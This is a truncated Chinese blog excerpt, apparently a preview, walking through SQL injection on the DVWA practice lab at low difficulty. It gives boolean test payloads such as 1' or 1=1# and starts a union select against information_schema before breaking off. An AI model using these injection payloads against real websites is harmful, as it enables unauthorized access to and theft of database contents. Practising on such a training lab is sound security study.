dvwa靶场之SQL注入（low等级）

dvwa靶场之SQL注入（low等级）mysql 1. 第一步（判断是否能够注入） 1’ and 1=1#（正常回显） 1’ and 1=2#（无回显） 1’ or 1=1#（该表下全部数据项回显） 以上几步骤基本判断有sql注入漏洞 2. 第二步（找到目标数据库） ’ union select table_schema,table_name from information_schema.tab

>>阅读原文<<